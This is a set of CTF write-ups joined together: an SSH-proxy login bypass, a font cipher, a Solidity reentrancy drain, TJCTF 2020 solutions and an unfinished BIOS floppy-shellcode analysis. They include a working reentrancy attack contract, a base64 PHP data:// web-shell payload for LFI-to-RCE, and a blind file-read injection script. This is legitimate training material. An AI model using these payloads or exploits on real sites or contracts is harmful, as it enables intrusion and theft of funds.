check_remote_ip() { if [[ ! "$REMOTE_ADDR" =~ $ALLOWED_REMOTES ]]; then fail "$REMOTE_ADDR is not authorized to enter this site." fi}
parse_querycheck_name_and_passwordcheck_remote_ipsuccess```
There are two checks - check for name and password, and remote_ip.
The name and password was `admin` and `admin`. The author of this writeupwasted some time, because the random md5 database he used didn't find itfor some weird reason (even though even google does)...
Anyway, the second check was harder. It was implemented correctly, so we had tostep back a bit. We remembered, that git clone works via ssh, we had credentialsthat authenticated us to the server (to clone the code), and that sshallows any authenticated user to create a socks proxy.
So we quickly create one:
```bash$ ssh [email protected] -p 22222 -D 9090 "git-receive-pack '/code.git'"```
And then two quick curls (what are webbrowsers for anyway?) are enough ftw:
```curl "http://127.0.0.1/cgi-bin/login.cgi?name=admin&password=admin" -x socks5://127.0.0.1:9090 -vvvcurl "http://127.0.0.1/cgi-bin/setup.cgi" -x socks5://127.0.0.1:9090 -vvv --cookie session=fa3cc064-cf79-4691-a122-9723ae7fc79```
And the flag is:
```SaF{lmgtfy:"how to serve git over ssh"}``` |
Basically this challenge gave an image of some wierdly looking fonts...
There are 2 ways to solve this.
* **Guess Method**
Assuming that tou have looked at the hint, it says to search for the description. The search results show that it is somehow related to fonts. Hence by an intelligent guess, search for the words `Circle` `Circular` etc. because that is given in the name of the challenge.
* **A Better Method**
There were many challenges I had done previously, but somehow managed to get the font then, but now searching all the fonts on fonts.com for this particular font was tiring, so I thought, there should obviously be some **Reverse Image Search** for fonts available and as I guessed, there were. I tried many and this was [the](https://en.likefont.com/) most effective. I uploaded the image and entered the font -> char mapping for the first 5 values we know ie. `tjctf` and boom we get the result as shown in the image
[Likefont Output](https://imgur.com/a/sSJ7RIH) -> This is how the output looks like on likefont
[USFCircular Designs](https://www.fonts.com/search/all-fonts?ShowAllFonts=All&searchtext=USF%20Circular%20Designs) is the name of the font tho. |
# Multipass
## Setup
The challenge is available at http://ethereum.sharkyctf.xyz/level/3
Before starting, it is recommended to follow the suggested steps at http://ethereum.sharkyctf.xyz/help to setup Metamask, get Ether from a Ropsten faucet, and Remix IDE.
## Challenge
The contract to attack is the following:
```soliditypragma solidity = 0.4.25;
contract Multipass { address public owner; uint256 public money; mapping(address => int256) public contributions; bool public withdrawn; constructor() public payable { contributions[msg.sender] = int256(msg.value * 900000000000000000000); owner = msg.sender; money = msg.value; withdrawn = false; } function gift() public payable { require(contributions[msg.sender] == 0 && msg.value == 0.00005 ether); contributions[msg.sender] = int256(msg.value) * 10; money += msg.value; } function takeSomeMoney() public { require(msg.sender == owner && withdrawn == false); uint256 someMoney = money/20; if(msg.sender.call.value(someMoney)()){ money -= someMoney; } withdrawn = true; } function contribute(int256 _factor) public { require(contributions[msg.sender] != 0 && _factor < 10); contributions[msg.sender] *= _factor; } function claimContract() public { require(contributions[msg.sender] > contributions[owner]); owner = msg.sender; }}```
The goal is then to take all the money of the contract.
## Hint
Can you call `takeSomeMoney()` several times ?
## Solution
This is a classic reentrancy exploit, where you are able to recursively call the same function several time in order to siphon all the money of a contract.
In order to exploit it, we must have another contract with a fallback method which will be called by the Victim contract, and because the state is not updated before calling the Attack contract, we will be able to execute several times `takeSomeMoney()` until no fund is left.
To attack this contract, we will create another contract called Attack, which will be called to attack the first contract.
In the same Solidity file, add the following code:
```soliditycontract Attack { Multipass public target; constructor(address _adress) public payable{ target = Multipass(_adress); target.gift.value(0.00005 ether)(); } function multiplyContributions() public { address contractAdress = address(this); while (target.contributions(contractAdress) <= target.contributions(target.owner())) { target.contribute(9); } } function takeOwnership() public returns(address){ multiplyContributions(); target.claimContract(); } function attack() public { takeOwnership(); target.takeSomeMoney(); } function () payable public { while (!target.withdrawn()) { target.takeSomeMoney(); } }} ``` |
# **TJCTF 2020**
TJCTF is a Capture the Flag (CTF) competition hosted by TJHSST's Computer Security Club. It is an online, jeopardy-style competition targeted at high schoolers interested in Computer Science and Cybersecurity. Participants may compete on a team of up to 5 people, and will solve problems in categories such as Binary Exploitation, Reverse Engineering, Web Exploitation, Forensics, and Cryptography in order to gain points. The eligible teams with the most points will win prizes at the end of the competition.
This is my first writeup of a CTF and the fifth or sixth CTF I participated in,if you have any comments, questions, or found any mistakes (which I'm sure there are a lot of)please let me know. Thanks for reading!
***
# Table of Contents* [Miscellaneous](#Miscellaneous) - [A First Step](#a-first-step) - [Discord](#discord) - [Censorship](#censorship) - [Timed](#timed) - [Truly Terrible Why](#truly-terrible-why) - [Zipped Up](#zipped-up)* [Cryptography](#cryptography) - [Circles](#circles) - [Speedrunner](#speedrunner) - [Tap Dancing](#tap-dancing) - [Typewriter](#typewriter) - [Titanic](#titanic)* [Reversing](#reversing) - [Forwarding](#forwarding)* [Web](#web) - [Broken Button](#broken-button) - [File Viewer](#file-viewer)* [Forensics](#Forensics) - [Ling Ling](#ling-ling) - [Rap God](#rap-god)
***# Miscellaneous
## A First StepEvery journey has to start somewhere -- this one starts here (probably).The first flag is tjctf{so0p3r_d0oper_5ecr3t}. Submit it to get your first points!
**tjctf{so0p3r_d0oper_5ecr3t}**
Flag is in the challenge's description
## DiscordStrife, conflict, friction, hostility, disagreement. Come chat with us! We'll be sending out announcements and other important information, and maybe even a flag!
**tjctf{we_love_wumpus}**
Flag is pinned in the Discord server announcements channel
## CensorshipMy friend has some top-secret government intel. He left a message, but the government censored him! They didn't want the information to be leaked, but can you find out what he was trying to say?
` nc p1.tjctf.org 8003 `
**tjctf{TH3_1llum1n4ti_I5_R3aL}**
This challenge I solved by mistake (there are no mistakes just happy accidents) but the solution issomewhat straightforward, when we connect to the server we are greeted with the following meessege:

When we submit the answer we get following meessege:

Which is not the flag (trust me i checked), when we sumbit a wrong answer we get nothing,my first thought was that the flag returned is random and there is a chance that the real flag will be returned,so I wrote a short python script which connects to the server, reads the question and answers it:
```python 3from pwn import remoteimport re
host = "p1.tjctf.org"port = 8003s = remote(host, port)question = s.recvuntil('\n')numbers = re.findall('[0-9]+',str(question))sum = sum([int(a) for a in numbers])s.send('{}\n'.format(sum))print(s.recv())s.close()```
And during debugging I noticed something strange is happening with the output:

As you can see the server is actually returing us the flag each time we answer correctly.But, We can't see it when the output is printed in the terminal,The reason is that '\r' symbol after the flag, The symbol stands for carriage return,And in most terminal nowdays it deletes the written message and returns the cursor to the start of line,Using this symbol can actually make cool looking animation and most of the animationwe see in terminals nowdays use this symbol.
## TimedI found this cool program that times how long Python commands take to run! Unfortunately, the owner seems very paranoid, so there's not really much that you can test. The flag is located in the file flag.txt on the server.
` nc p1.tjctf.org 8005`
**tjctf{iTs_T1m3_f0r_a_flaggg}**
When we connect to the server we get the following message:

I tried using Unix commands first and quickly discovered by the error messagesthat the commands need to be python commands, furthermore, we can't see the outputof the executed commands but only the time it took for the commands to executeor an error message if an error occurred while executing the commands.I tried using python commands and modules to get a shell or get a reverse shell goingfrom the server to my host.for each command I tried I got the following message:

At this point I gave up on getting a shell and tried to see what I cando in this limited enviroment, I wanted to determine first if the commands areexecuted in python 2 or python 3, for that I checked if python recognizedbasestring, an abstract type which can't be found in python 3 and will raise anexception:


Executing basestring in the server didn't return an error message so I determinedthat the environment is python 2, and so I tried to check if I can read afile named flag.txt using python 2 I/O functions:

We can read flag.txt!, now we need to discover the flag using our onlytwo availiable outputs - the time to execute a command or an error message ifsuch error produces.We can do this by going letter by letter and executing a command that comparesthe selected letter with a letter in the flag such that if the letters match the outputwill be different so we can easily point out the matching letters and build the flag.There are two ways to do this, The first one is to use commands suchthat if the letter matches the execution time will be longer and by doingso the total runtime returned will be grater, This type of attack is calledTiming Attack and an exemple of this is linked in the resources.The second one and the one that I used is to raise an exception if the letter match inthe position such that we can the discovery of the letter is not time bound.for doing that I wrote the following code in python 3 using the pwntools module:
```python 3from pwn import remoteimport string
host = "p1.tjctf.org"port = 8005s = remote(host, port)flag = ""index = 0changed = Trues.recvuntil('!\n')while changed: changed = False for c in '_{}' + string.printable: print("testing {}".format(flag + c)) command = '''1/0 if open('flag.txt','r').read({})[{}] == ''{}' else 0\n'''.format(index + 1, index, c) print(command) s.send(command) answer = s.recvuntil("!\n") if b'Traceback' in answer: flag += c changed = True index += 1 break
```
As you can see, the code connects to the server and builds the flag by iteratingover all the printable characters and checking if the command executed raises anerror or not, the command simply checks if the character in a specific positionmatches the current tested character and if so it calculates 1/0 which in pythonthrow an exception (believe it or not there are langauges and modules where 1/0 returns infinity)else the command does nothing, if an error was raised then the letter is added to the flagand the code moves to iterate over the next character in the flie, if we finished iterating over allthe characters and none of them raised a flag we can conclude that we discovered all theflag, and we can see that the code does just that:

Side note: when writing the writeup I thought about another very easy way to get theflag, We know that we can see errors happening in the execution of commends sowe can just raise an error with the flag !, For that you need you need to use the errortype NameError to raise an error with a string but it is still a much easier and very coolway to get the flag, you can see it in action in the following picture:

**Resources:*** Pwntools : http://docs.pwntools.com* All-Army Cyberstakes! Dumping SQLite Database w/ Timing Attack : https://youtu.be/fZ3mPRctbO0
## Truly Terrible WhyYour friend gave you a remote shell to his computer and challenged you to get in, but something seems a little off... The terminal you have seems almost like it isn't responding to any of the commands you put in! Figure out how to fix the problem and get into his account to find the flag! Note: networking has been disabled on the remote shell that you have. Also, if the problem immediately kicks you off after typing in one command, it is broken. Please let the organizers know if that happens.hint : Think about program I/O on linux
`nc 52.205.246.189 9000`
**tjctf{ptys_sure_are_neat}**
This challenge was very fair in my opinion but it was easy to overcomplicate it(as I admittedly did in the beginning).When you connect to the server you are greeted with the following message:

And for every input we give no output is returned.First I tried doing blind enumaration of the files in the server using similar methods as I used in Timedbut the only true way I found to do that was to disconnect from the server using exitevery time a character match... which quickly led to me being banned from the server andso I stopped and moved to other challenges.In the meantime the challenge was patched and using the exit command no longer worked,And the hint was published.As the hint suggested there is something off about the I/O of the shellsuch that we can't see the output.But, We know that we are connected to the standard input of the shell beacuse we can execute commands.So I tried using output redirection so that the output of the commands will be redirctedto the standard input (file descriptor 0) et voila:

We got a working shell!, From thereon I tried getting an interactive shell using the common methods(listed in resources) and spawned a new shell with the output redirected to standard input:

Now we can now use the shell as (almost) a regular shell, so we can use the arrow keys anduse the sudo command, We can also see now that we are connected as problem-user.Let's see what is written in the text files:

From the message we can assume that we need to connect to other-user, And because we are givenproblem-user password we will probably need to use it for that.The first Thing I do in this situations is to check the user sodu privillages using sudo -l command:

So we run /usr/bin/chguser as root:

And as you can see by doing we connect to other-user and we are dropped at his home folder,And we got our flag.
**Resources:*** Getting fully interactive shell : https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/* Linux Redirection : https://www.guru99.com/linux-redirection.html
## Zipped UpMy friend changed the password of his Minecraft account that I was using so that I would stop being so addicted. Now he wants me to work for the password and sent me this zip file. I tried unzipping the folder, but it just led to another zipped file. Can you find me the password so I can play Minecraft again?
[link](https://static.tjctf.org/663d7cda5bde67bd38a8de1f07fb9fab9dd8dd0b75607bb459c899acb0ace980_0.zip)
**tjctf{p3sky_z1p_f1L35}**
This type of challange is pretty common in CTFs and most of the times it can be summedup to tweaking the code so that it will work with the current challenge,As you can see each compressed file contains a txt and another compressed file in a directory,If you look further you can see that there is a false flag tjctf{n0t_th3_fl4g}in some txt files (actually in all of them but one afaik).So, I wrote (mostly tweaked) a short bash scipt to not only find compressed files in the working directory and unzip them,But also check the content of the txt file and if it's not the false flag print it and stop the execution:
```bash#!/bin/bashget_flag() { for filename in $(pwd)/*; do echo "$filename" if [[ $(mimetype -b "$filename") == "application/zip" ]] then unzip "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-bzip-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "text/plain" ]] then if [[ $(cat "$filename") != "tjctf{n0t_th3_fl4g}" ]] then cat "$filename" return fi fi done}
find_dir(){ for filename in $(pwd)/*; do if [[ -d "$filename" ]] then cd "$filename" get_flag return fi done}echo startget_flag```
And after 829 (!) files unzipped we find the first (and afaik the only) text file that contains the flag.
***# Cryptography
## Circles
**tjctf{B3auT1ful_f0Nt}**
Some typefaces are mysterious, like this one - its origins are an enigma wrapped within a riddle, indeed.
hint : To obtain the flag, you should find the font that was used to encode the message in the picture. If you Google the description of the problem, the first website that pops up seems promising. Using a dictionary to guess/bruteforce words without finding the font will not help you. Each circle in the image represents an alphanumeric character that is part of the flag. The brackets and the underscore in the image are NOT part of the font used to encrypt the flag.

**tjctf{B3auT1ful_f0Nt}**
This challenge was really guessy and quite frustrating, As the hint suggested if we search for the challenge descriptionwe find the site fonts.com and by searching the word circular in it (yeah I know) we find our typeface:

Now that we know the name of the typeface lets find its characters map,By seaching just that I found the typeface character map (linked below) and decoded the flag.
**Resources:*** USF Circular Designs : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/packages* Character map : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/regular
## SpeedrunnerI want to make it into the hall of fame -- a top runner in "The History of American Dad Speedrunning". But to do that, I'll need to be faster. I found some weird parts in the American Dad source code. I think it might help me become the best.
[link](https://static.tjctf.org/6e61ec43e56cff1441f4cef46594bf75869a2c66cb47e86699e36577fbc746ff_encoded.txt)
**tjctf{new_tech_new_tech_go_fast_go_fast}**
In the link we get the following ciphertext:
LJW HXD YUNJBN WXC DBN CQN CNAV "FXAUM ANLXAM'? RC'B ENAH VRBUNJMRWP JWM JBBDVNB CQJC CQN ERMNX YXBCNM RB CQN OJBCNBC CRVN, FQNAN RW OJLC BXVNXWN NUBN LXDUM QJEN J OJBCNA, DWANLXAMNM ENABRXW. LXDUM HXD YUNJBN DBN CQN CNAV KTCFENJJJEKVXOBAL (KNBC TWXFW CRVN FRCQ ERMNX NERMNWLN JB JYYAXENM JWM ENARORNM KH VNVKNAB XO CQN BYNNM ADWWRWP LXVVDWRCH) RW CQN ODCDAN. CQRB FXDUM QNUY UXFNA LXWODBRXW RW CQNBN CHYNB XO ERMNXB RW ANPJAM CX CQN NENA DYMJCRWP JWM NEXUERWP WJCDAN XO CQN BYNNMADWWRWP LXVVDWRCH.
CSLCO{WNF_CNLQ_WNF_CNLQ_PX_OJBC_PX_OJBC}
We can notice that the format of the last line somewhat matches the format for the flag so we canassume the cipher is letter substitution, a type of cipher where each letter inthe plaintext is subtituted with another letter, I copied the text to CyberTextand tried to use shift ciphers to decrpyt the message, Shift cipher are a typeof cipher in which every letter is shifted by a known offset to a different letter,ROT13 and Ceaser Cipher are some famous exemple of this type of cipher where theoffsets are 13 and 3 respectably, with an offset of 17 we get the following message:
CAN YOU PLEASE NOT USE THE TERM "WORLD RECORD'? IT'S VERY MISLEADING AND ASSUMES THAT THE VIDEO POSTED IS THE FASTEST TIME, WHERE IN FACT SOMEONE ELSE COULD HAVE A FASTER, UNRECORDED VERSION. COULD YOU PLEASE USE THE TERM BKTWVEAAAVBMOFSRC (BEST KNOWN TIME WITH VIDEO EVIDENCE AS APPROVED AND VERIFIED BY MEMBERS OF THE SPEED RUNNING COMMUNITY) IN THE FUTURE. THIS WOULD HELP LOWER CONFUSION IN THESE TYPES OF VIDEOS IN REGARD TO THE EVER UPDATING AND EVOLVING NATURE OF THE SPEEDRUNNING COMMUNITY.
TJCTF{NEW_TECH_NEW_TECH_GO_FAST_GO_FAST}
**Resources:*** CyberChef : https://gchq.github.io/CyberChef/* Ceaser Cipher : https://en.wikipedia.org/wiki/Caesar_cipher* Substitution Cipher : https://en.wikipedia.org/wiki/Substitution_cipher
## Tap DancingMy friend is trying to teach me to dance, but I am not rhythmically coordinated! They sent me a list of dance moves but they're all numbers! Can you help me figure out what they mean so I can learn the dance?
[link](https://static.tjctf.org/518d6851c71c5482dbd5bbe812b678684238c8f4e9e9b3d95a188f7db83a0870_cipher.txt)
**tjctf{m0rsen0tb4se3}**
In the link we get the following cipher:
1101111102120222020120111110101222022221022202022211
As you can see there are three symbol in this cipher and suspiciously one of them is sparse,So I assumed that this is morse (and honestly it will be weird if there isn't even one morse challenge in a CTF)I assumed that zeros symbolize spaces and the twos and ones are . and - respectably, I got the following morse code:
-- ----- .-. ... . -. ----- - -... ....- ... . ...--
I plugged the morse code into CyberChef and got the flag.
**Resources*** Morse Code (do i really need to add that!?) : https://en.wikipedia.org/wiki/Morse_code
## TypewriterOh no! I thought I typed down the correct flag for this problem on my typewriter, but it came out all jumbled on the paper. Someone must have switched the inner hammers around! According to the paper, the flag is zpezy{ktr_gkqfut_hxkhst_tyukokkgotyt_hoftqhhst_ykxoz_qxilrtxiyf}.
hint:a becomes q, b becomes w, c becomes e, f becomes y, j becomes p, t becomes z, and z becomes m. Do you see the pattern?
**tjctf{red_orange_purple_efgrirroiefe_pineapple_fruit_auhsdeuhfn}**
As the hint suggested this is a qwerty monoalphabetic cipher,Meaning that every letter is subtituted with the corresponding in the keyboard with the same position(from up to down and from left to right).For decrpyting that cipher I used an awesome site called dcode.fr and by using their monoalphabetic decoderwith the key: QWERTYUIOPASDFGHJKLZXCVBNM I got the flag.
**Resources:*** decode.fr : https://www.dcode.fr/en* qwerty : https://en.wikipedia.org/wiki/QWERTY
## TitanicI wrapped tjctf{} around the lowercase version of a word said in the 1997 film "Titanic" and created an MD5 hash of it: 9326ea0931baf5786cde7f280f965ebb.
**tjctf{marlborough's}**
this challenge is very straightforward but steggered me for a long time because I couldn't find the right word,We know that our flag is said in the movie so sensibly we need to look for the script, I found one of them onlineand used a tool named CeWL to make the script a wordlist, After that I wrote a shrt python script that read every word,make it lowercase and wraps it with the flag format, and then I ran Hashcat on it.BUT it didn't work...After that I tried doing the same on several other scripts and none of them worked.Now what's worked for me in the end was to use subtitles and not the original script in the hope that some of the wordswere different, for that I used the subtitles listed below, the file looks like that:

There was a lot of work to do obviously so I wrote a script that removes the unnecessary characters,saparetes the words, and wraps them in the flag format, now that we finally have the wordlist (added below)we can use hashcat, a program which breaks hashes using dictionary attack, we run hashcat using the following commands:hashcat -a 0 -m 0 hash.txt wordlist.txtand get the following output:

**Resources:*** subtitle Titanic.1997.1080p.720p.BluRay.x264.[YTS.AG] : https://yts-subs.com/subtitles/titanic19971080p720pblurayx264ytsag-english-100199* wordlist : [link](assets//wordlists//titanic_wordlist.txt)* CeWL : https://tools.kali.org/password-attacks/cewl* hashcat : https://tools.kali.org/password-attacks/hashcat
***# Reversing
## ForwardingIt can't be that hard... right?
[link](https://static.tjctf.org/d9c4527bc1d5c58c1192f00f2e2ff68f84c345fd2522aeee63a0916897197a7a_forwarding)
**tjctf{just_g3tt1n9_st4rt3d}**
This time we get a file with the challenge, if we check the type of the filewe can see that it is an ELF, a type of Unix executable:

I checked if the flag is saved in string format in the file, for that Wecan use the strings command which finds strings in the executable, And then usegrep and regex to filter the strings in the binary for the flagI used the following command:
strings forwarding | grep 'tjctf{.*}'
and got the following output:

**Resources:*** ELF file : https://en.wikipedia.org/wiki/Executable_and_Linkable_Form* Regex : https://en.wikipedia.org/wiki/Regular_expression
***
# Web
## Broken ButtonThis site is telling me all I need to do is click a button to find the flag! Is it really that easy?
[link](https://broken_button.tjctf.org/)
**tjctf{wHa1_A_Gr8_1nsp3ct0r!}**
when we go to the site we get this massage:

If we Inspect the site (Ctrl+Shift+I) we see that there is a hidden button inthe HTML code:

And when we look at the HTML file that is referenced by the by the hiddenbutton we get our flag.
## File ViewerSo I've been developing this really cool site where you can read text files! It's still in beta mode, though, so there's only six files you can read.
Hint : The flag is in one directory somewhere on the server, all you have to do is find it...Oh wait. You don't have a shell, do you?
[link](http://file_viewer.tjctf.org/)
**tjctf{n1c3_j0b_with_lf1_2_rc3}**
Here is another challenge I spent a lot of time (and tears) on mostly because I was stubborn and didn't tryto use the resources I have.when we go to the site we get the following message:

When we pick a random file from the list, I chose pinnapples.txt we get:

Now take a look at the address for the file, as we can see, there is a PHP file which takes as an argument a file variablewhich is in our case sets to pinnapples.txt, lets try to see if we can see other files in the server,I guessed this is a linux server (which most servers are) and tried to change the variable to /etc/passwda file which is by default accessible to all users and services on the server:

Jackpot! we have local file inclusion vulnerability on the machine, which means that we can read any file on this system.At this point I will spare you all the troubles I went through to find what to do next and skip to the solution,we can use PayloadAllTheThing, A great github repository linked below for finding web payloads, and search for a payloadwhich works for us, I eventually used the data:// wrapper which posts data to the server side and injects our PHP code,I used the following payload which let us run commands in the server:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=**your command**
the payloads injects the following code to the server in base64 format:
```php
```
Which executes in the systems the value of the cmd variable and echoes 'Shell done'.by using the ls command we get the following:

We see we have a strange directory our current directory when use ls in the folder we get:

We found our flag, now for us to read the flag we need to encode the file to base64.The reason is that if we read a PHP file without encoding it the file will be executedbeacuse the web browser reads the content of the file as code and not text, I used the following payload for that:PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=cat i_wonder_whats_in_here/* | base64which roughly translates to:
```php
```
And lo and behold we got our base64 encoded flag! :

**Resources:*** PayloadAllTheThing : https://github.com/swisskyrepo/PayloadsAllTheThings/ * The used payload: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-data* File Inclusion Vulnerability : https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
***# Forensics## Ling LingWho made this meme? I made this meme! unless.....
[link](https://static.tjctf.org/d25fe79e6276ed73a0f7009294e28c035437d7c7ffe2f46285e9eb5ac94b6bec_meme.png)
**tjctf{ch0p1n_fl4gs}**
When we go to the link we get the following image:

The meaning of the image is beyond me, Lets look at the image metadata, we can do that using the exiftool command:

And as you can see our flag is listed in the artist attribute.
**Resources*** Exiftool : https://linux.die.net/man/1/exiftool* Me when I saw the meme : https://i.kym-cdn.com/entries/icons/original/000/018/489/nick-young-confused-face-300x256-nqlyaa.jpg
## Rap GodMy rapper friend Big Y sent me his latest track but something sounded a little off about it. Help me find out if he was trying to tell me something with it. Submit your answer as tjctf{message}
[link](https://static.tjctf.org/302ed01b56ae5988e8b8ad8d9bba402a2934c71508593f5dc9e95aed913d20cf_BigYAudio.mp3)
**tjctf{quicksonic}**
This was a nice audio steganography challange, When we hear the audio we can notice some weird buzzing,esecially in the left ear, So I assumed from experience that there is a channel with an hideen messege encoded in.For this challenge I used Sonic Visualiser but I think you can use most of the music processing programs out here,When we open the file in Sonic Visualiser and open the spectogram viewer we see the following:

We got an encoded image in the audio!,Now let's saparete the channels and look at channel 2:

And we got the image, There are some weird symbols in there which look like emojisbut not quite, These are actually symbols from a font called Wingdings which was developedby Microsoft and was used before emojis existed (weird times...), and gained notoriety afterthe 9/11 attacks, we can use dcode.fr again with their Wingdings font translator toget our flag:

**Resources:*** Sonic Visualiser : https://www.sonicvisualiser.org/* Wingdings : https://en.wikipedia.org/wiki/Wingdings#9/11_attacks* dcode.fr Wingdings translator : https://www.dcode.fr/wingdings-fontM |
### biooosless> This challenge is about writing shellcode in the BIOS.
We are given a BIOS image and a Floppy image. The BIOS image runs in QEMU and our task is to read the flag from the floppy. The floppy we are given contains a FAT FS and there is one file inside - **dummyflag** with a dummy flag **OOO{xxx...x}**, assuming that the real flag is on the real floppy in the server under **flag**. What can we do? We can give a shellcode which is under 2048 bytes and we are getting injected somewhere into the BIOS image before its execution.
First things first, we would want to identify what BIOS it is, and whether we can find some info on it. When starting the QEMU, it gives us this message: > Welcome to (Sea)BIOOOSLESS (version v1337)
Looks like a modified version of the [open source SeaBIOS](https://github.com/qemu/seabios), which is great because we can compare it to the sources. The python script that runs the QEMU injects our shellcode in the binary where it can find 2048 'X's. First we need to know what the context is there - time for IDA. I had some problems opening the file in IDA at first, although there is a **bios_image.py** loader, and I couldn't get the mixture of 32bit code and 16bit code to coexist, so I ended up working with 2 open IDAs, one decompiled in 32bit mode, and one for 16bit. The 16bit code is not really relevant, so i worked mostly on the 32bit disassembly. For those unfamiliar with how a BIOS works, I'm not going to go too much into it here, but basically there are 2 modes of execution at this level - [Real Mode](https://en.wikipedia.org/wiki/Real_mode) and [Protected Mode](https://en.wikipedia.org/wiki/Protected_mode). In Real Mode the processor executes 16bit 8086 code and is very limited in resources. Protected Mode is 32bit code, can utilize much more memory. Both modes allow direct access to hardware using Ports, Interrupts and MMIO (contrary to Virtual Mode, where access to hardware is disallowed, and requires asking the OS for that purpose by using Syscalls or Software Interrupts). A x86 CPU starts its execution in Real Mode at the address `F000:FFF0` (See [Memory Segmentation](https://en.wikipedia.org/wiki/X86_memory_segmentation)), when the BIOS image is loaded at the address `F000:0000`. So that makes the entry point in offset `0xFFF0` in the BIOS image we are given. Note that code in that offset is 16bit. So we can open the file in IDA in 16bit loading it at segment `F000` and offset `0000`, or 32bit, loading it at offset `F0000 ((seg << 4) | offset)`. The 2048 'X's are at offset `0xF91E4`, which looks like the end of a very very long function. I converted the 'X's to NOPs (`\x90`) so IDA wouldn't go crazy. First we should identify the long function and understand our context. There are some strings being used in the function (like `Welcome to (Sea)BI...`) that we can match to different functions in the SeaBIOS source code (this one is probably at **bootsplash.c : enable_vga_console**). It looks like the huge function is just a mixture of many other (inline?) functions, but we can trace them back to **post.c : maininit**, which just calls these functions one after the other. So it makes sense that the compiler chose to inline them to save space and time. I managed to guess my way at the end of it, before the 'X's, to find **tcgbios.c : tpm_prepboot** at offset `0xF90CB to 0xF90F7`, then probably **malloc.c : malloc_prepboot** ending at `0xF91CB` and reaching the end of **post.c : prepareboot** at `0xF91DC`, where the author placed a small delay loop and then the shellcode immediately after it. So right away we can see that the code is different from the original SeaBIOS - a lot of stuff is missing... like **make_bios_readonly**, the actual boot process, and more importantly to us - IVT initialization... But before this, we need to start debugging the code so we can see more easily what's going on. QEMU allows us to stop the CPU from starting execution until GDB is connected - flags **-s -S** and inside GDB: **target remote 127.0.0.1:1234**. There is no point to dive into the whole boot process, we just need to see what's happening when the shellcode is being executed. We can assemble a small shellcode that simply hangs:```bits 32loop: jmp loop```Compile with `nasm shellcode.asm -o shellcode.bin` and use `shellcode.bin` as the input to the python loader. Then we can break after a couple of seconds of execution (Ctrl+C in GDB) and see what's happening. The first thing that comes to mind is that we stopped at the address `0x7fbd8a4` and not the expected `0xF91E4`... This is because the 32bit-only part of the BIOS is relocated to a higher segment. Some functions still remain in the `0xFXXXX` section, mostly the functions that are in use by interrupt handlers and common functions from the initial boot. What's important about this address is that it's **deterministic** so we can create a `.gdbinit` file and place `hb *0x7fbd8a4` inside it to always break when we reach the shellcode. Working with a **.gdbinit** file really saved me a ton of time here on repeating instructions. Ok so we know where we're executed, we know how, and we can get all the information about the environment. Now we only need to understand what to write. The goal of the challenge is to read a file from floppy. Going a little into the code of SeaBIOS, we can see the usage of the floppy drive if we follow the boot sequence (`startBoot -> int 19h -> handle_19 -> ...`) - it seems that SeaBIOS is using `INT 13h` to talk to the floppy. Seems pretty easy usage, [INT 13h is highly documented](https://en.wikipedia.org/wiki/INT_13H). Let's make sure it's available:```(gdb) x/100x 00x0: 0x00000000 0x00000000 0x00000000 0x000000000x10: 0x00000000 0x00000000 0x00000000 0x000000000x20: 0xf000e06e 0x00000000 0x00000000 0x000000000x30: 0x00000000 0x00000000 0x00000000 0x000000000x40: 0xc000560e 0x00000000 0x00000000 0x00000000 <- INT 13h "handler" :(```Nope... We only have* INT 8h - address 0x20 in IVT - Timer - set in the mainint mega-function * INT 10h - address 0x40 in IVT - Video - didn't find where its being set
Now the picture is getting clearer - we need to read the floppy without using built-in functions at all. In other words, we would have to talk to the hardware directly. At this point I dove deep into SeaBIOS code, trying to understand what is the first thing that the BIOS is even doing to the floppy. This led me to the **floppy_setup** function that reads the floppy device type. We can replicate that code in our shellcode to make sure we're not missing anything and that we can actually communicate with the floppy.
`rtc_read(CMOS_FLOPPY_DRIVE_TYPE)` basically translates to```; outb(CMOS_FLOPPY_DRIVE_TYPE | NMI_DISABLE_BIT, PORT_CMOS_INDEX);; type = inb(PORT_CMOS_DATA);
bits 32 mov al, 0x90 out 0x70, al in al, 0x71```Tha worked, and I got **AL=0x40** which means `floppyid=0, ftype=4` - we can found this in the floppy description table in `floppy.c - // 4 - 1.44MB, 3.5" - 2 heads, 80 tracks, 18 sectors` - makes sense, we were given a 1.44MB image. So now that we have a POC of communicating with the floppy, we need to actually read the data. To do this I basically followed the code that is getting executed when the BIOS invokes `INT 13h AH=02h` and tried to copy it into the shellcode - it contains everything that is needed to perform the first and subsequent reads. The main flow is something like that: ```disk_1302 -> basic_access -> send_disk_op -> # Note that we're in Real Mode, following an interrupt process_op -> process_op_16 ->floppy_process_op -> floppy_read -> floppy_prep floppy_dma_cmd ...```We don't need to copy **A LOT** of code, so we can just go over the functions and copy them one by one into a single .c file - ugly, but works :) Not all the functions are needed fully. For example, from `basic_access` we can jump directly to `floppy_read`, etc. We can also get rid of different error checking code, such as```if (count > 128 || count == 0 || sector == 0) { warn_invalid(regs); disk_ret(regs, DISK_RET_EPARAM); return;}```since we know what we're going to read in advance. All the `dprintf`s gotta go. This:```ret = floppy_media_sense(drive_gf);if (ret) return ret;```can be omitted, since we know we have a disk in. One other thing that may give us trouble is the timers. Finding timer functions in the relocated code is annoying and including them in the shellcode is bloated and unnecessary. However, we don't need the code to be fast and multi-threaded, so we can just convert all the timers into a regular busy sleep using `RDTSC`. That functionality actually exists in the SeaBIOS code, it uses two global variables: **ShiftTSC** that I found in `0xFDB82` and **TimerKHz** (`0xFDB88`):```static u32 timer_read(void){ return rdtscll() >> *(u8*)(0xFDB82);}
static u32 timer_calc(u32 msecs){ return timer_read() + ((*(u32*)(0xFDB88)) * msecs);}
